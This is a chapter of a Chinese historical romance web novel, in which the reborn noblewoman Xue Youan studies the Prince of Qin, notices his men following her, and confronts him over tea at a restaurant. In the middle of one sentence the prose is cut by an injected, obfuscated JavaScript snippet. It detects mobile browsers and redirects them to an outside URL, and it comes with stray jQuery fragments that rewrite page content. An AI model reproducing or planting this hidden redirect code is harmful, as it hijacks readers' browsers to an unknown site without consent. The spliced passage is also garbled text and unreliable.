与秦王府遥遥相距的薛府,薛幼安洗漱完毕趴在床上,也正分析着许闻铮。
听闻许闻铮十三岁上战场,从伙头军做起,一步步攒军功,十六岁升为副将,在一次突击战中,带着三千兵马以少胜多赢了栩齐人三万大军,一鸣惊人。此后更是一鼓作气连破三城,西北边关失地尽被收复。
升为将军后,许闻铮重整军纪,锐意改革,实行军功爵制,以军功授予爵位。一时间大周军队战意昂扬,所向披靡,接连几场战役均大胜栩齐,将栩齐人一口气赶出边关两百里外。
至此,少年战神的名号响彻天下。
功勋显赫,天下归心。
百姓和朝臣自然而然认为,秦王是毫无疑问的储君。
然而人算不如天算,大周二十九年的冬天,先皇突发心疾猝然长逝,朝廷震荡。然许闻铮此刻正在千里之外的沙漠腹地追击栩齐逃兵,杳无音信。
先皇驾崩,国不可一日无主。在王相的大力推举下,众臣只能拥护二皇子许辽笙为皇帝,即刻上位。二皇子上位后继承先皇年号,国号大周。
许闻铮接到消息已是半个月之后,一切已经尘埃落定。
他快马回京,然而还是没有赶上先皇的葬礼,连这最后一面都未见到。
新皇在朝上提出,如今边关安定没有战事,皇兄征战多年也该好好休养一番调理身子,不如留守京中为父皇守孝三年,养精蓄锐,三年后再做打算,如何?
此话一出,朝廷动荡,新皇心思昭然若揭,大臣们你看我我看你,都认为这民心所归的秦王殿下定不会善罢甘休。
结果秦王竟欣然领命,当朝跪献兵符,谢主隆恩。
时年,秦王二十三岁。在边关征战十余载后,他回京做了个闲散王爷。
然而谁都不敢小瞧这个没有实权的王爷。
蛰伏的雄狮亦是雄狮,没人知道这狮子哪一天会醒来,咬断挑衅者的喉咙。
今年是大周三十二年,算算日子,是许闻铮三年之期的最后一年。这一年至关重要,也注定不平凡。
赏春宴上秦王遭毒一时,不正是一个信号吗?
薛幼安翻了个身,盯着头顶的帷帐。
要想将那诗告诉许闻铮,就得先取得他的信任,徐徐图之,绝不可像上次一样莽撞。
……
“本王的耐心有限,说,是谁派你来的?太后还是王相?
又或者……是本王那个不成器的弟弟,当今的圣上?”
当日亭中许闻铮逼问她的话犹在耳畔。太后、王相、皇帝……看来许闻铮树敌真不少,还都是些动动手指就能判人生死的大人物。
前有栩齐人野心勃勃,后有朝堂上贼子作乱,如今大周是真正的内忧外患。偏京城撑着一副繁荣安宁的脸面,若不是薛幼安亲历过边关血战和宫宴事变,她恐怕也在不知名的美梦中,不知乱世将至。
这局,到底该如何破?
薛幼安越想越心烦:“知春,熄灯!”她喊道。
灯火熄灭,所有阴谋诡计伴着黑暗一同沉寂下来。然薛幼安的心却无法沉寂,她辗转反侧,到了后半夜才浅浅睡着。
在梦中,她一会儿梦到许闻铮虚弱的把饼递给她,一会儿梦到他中毒后七窍流血。
梦到许闻铮在生死关头将她护在怀里,
也梦到许闻铮脸色阴沉把刀架在她脖子上。
最后的最后,她梦到许闻铮把手轻轻放在她的颈侧,温柔喊着她的小名,
“朝朝,闭眼。”
“别怕。”
……
“小姐——起床了,今日不是说要去跑马吗?”
薛幼安猛的睁开眼,刺眼的白光让她眼皮骤然一酸,发觉背上衣服已被冷汗浸湿。
沉默许久,她嗓音沙哑的喊人进来洗漱。
前路艰难,但她只能往前走,即使是断崖也毫无选择。
-
马场主满眼欣赏的看着不远处一身骑装英姿飒爽的女子:“早听闻这薛小姐才貌双绝,是京中闺秀之首,没想到骑术也如此了的。看着姿势,没个一年半载苦练是做不来的。”
“那当然,我们小姐做什么都是最厉害的。”知春很骄傲,虽然她不知道小姐怎么突然就会骑马了,很是纠结一番后,将其归功于天赋,并心安理得的认同了马场主的赞扬。
薛幼安跑完十圈,停下来休息。
前两世时她的身体娇弱,遇到危险时无法自保。于是她下定决心艰苦锻炼,虽然最后还是避免不了死亡的结局,但至少给自己争取了几分胜算,不算是无用功。这一世的目标更明确也更危险,她必须将身体练好,调整到最佳状态。
刚下马,侍卫就匆匆来报。
“小姐,属下发觉有一队人马在暗中监视,早上出府时便跟着,如今还在附近。属下探查了一番,他们的腰牌上写着“秦”——应是秦王殿下的人。”
“此事关乎小姐安危,请容属下立刻回复禀告大人。”
“且慢!”薛幼安叫住他。
“此时不必禀告父亲,我自有打算。”
“……是。但若他们有加害之心,属下是一定要上报的。”
“放心,他们不会对我动手。老板,给我换一匹快马,我再跑几圈!”
酣畅淋漓的跑完马后,薛幼安又到城南的街市上逛了一圈,给母亲挑了几件首饰和胭脂,全紧着贵的挑,店主在一旁笑的眼睛都眯成缝了。
逛完街市逛夜市,薛幼安畅玩了一通,天黑了才回府。
路上侍卫说,这一天薛幼安走到哪秦王的人就跟到哪,也不做什么,就默默的跟着,让人摸不着头脑。
不得不说,他们跟踪的能力真的很拙劣,有好几次薛幼安都瞥到他们了,只能装作没看到。
两边人马就这样互相演着你没发现我、我没发现你的样子过了一天。
第三天,薛幼安晌午才起,昨夜去湖边画舫赏花灯,深夜尽兴而归,回府洗漱后粘床就睡,一夜无梦。
餍足的睁开眼,已是天光大亮,薛幼安懒洋洋伸个懒腰,唤知春进来。
“今日拿我那套浅紫琉璃珠钗头面吧,显得稳重些,再帮我描个眉。”
“小姐今日可是要赴宴?”
薛幼安苦笑:“搞不好赴的是鸿门宴。”
正午十分,薛幼安轻车熟路来到盛芳楼,叫了一桌好菜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292854|198539||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,又随意点了一出戏,慢慢吃着。
店家知道她的身份,殷勤伺候着,时不时让小二进包厢添茶倒水。
这本没什么……但这小二未免太过殷切,出入之频繁都让知春察觉出不对劲了。
终于,在这人不知第几次添茶时,薛幼安忍不住了。
“行了行了,你歇一歇。”
小二诚惶诚恐的弯腰。
“别演了,带我去见你们主子。”
知春:“?”
然而听闻此话,小二却好像并不惊讶,他直起腰,恭敬微笑道:“请。”
薛幼安跟着小二上了楼。
“寒山哥。”小二对寒山行礼。
寒山点点头,对薛幼安说:“殿下在内,小姐请吧。”
雅间点着木桂香,铺着羊毛地毯,装潢摆设极尽华贵,不愧是京城最大的酒楼。
薛幼安在门牌上看到一“秦”字,想必这是许闻铮专属的房间。
“臣女薛幼安,见过秦王殿下。”薛幼安行礼说道。
今日许闻铮穿的素净,玉冠白衣,风流公子,一副书生打扮,让人联想不到那个杀伐果断的将军。
不过薛幼安可不会被这外表迷惑,她深知此人做事的手段,今日还特地在袖中藏了匕首。
“薛小姐不必拘礼,请坐。”许闻铮温和的说。
“早听闻薛小姐花容月貌,仪态万方,今日一见果真如此。”
“……”这话怎么听着这么熟悉。
“殿下谬赞。”薛幼安礼貌微笑。
坐下之后,许闻铮好奇发问:“不知薛小姐今日来见,所为何事啊?”
装,还在装。
薛幼安状似惊讶:“殿下的人马这几日一直跟随在臣女左右,又故意露出马脚引得臣女注意,臣女实在惶恐,还要问殿下一句,所为何事啊?”
许闻铮淡定点头:“本王的确施计诱小姐前来,可若不是小姐大张旗鼓在这京城连日游玩,本王也不能避开这京中诸多耳目,于今日和小姐单独相见。”
薛幼安状似没有听到他话里话外的暗刺。
“臣女只是想知道殿下为何如此?”
“自然是为了感谢薛小姐。”许闻铮真诚说道:“当日赏春宴,若不是小姐身体不适,本王也不会多加警惕,从而发现这茶中之毒。”
“谢薛小姐,救命之恩。”他笑盈盈的斟茶。
“殿下言重了,臣女当时是贪食上火才会身子不适,只是巧合罢了。殿下避开此祸是因您福泽深厚,吉人自有天相。”薛幼安回以真诚。
然而她心中却不如表面这般游刃有余,许闻铮实在是敏锐,她那点小伎俩怕是瞒不过他的眼睛。
果然,许闻铮听罢只是意料之中的一哂。
“这盛芳楼虽以美酒出名,但这茶叶也不逊色,取春露煎嫩芽,有安神调息之效。”他将茶杯递与薛幼安。
闻着近在咫尺清香扑鼻的茶,薛幼安却迟疑了。
“哦,”许闻铮了然:“小姐放心,这茶里无毒。”
无视许闻铮话语间的审问,薛幼安接过茶,随意的说:
“茶里无毒,那茶杯上有吗?”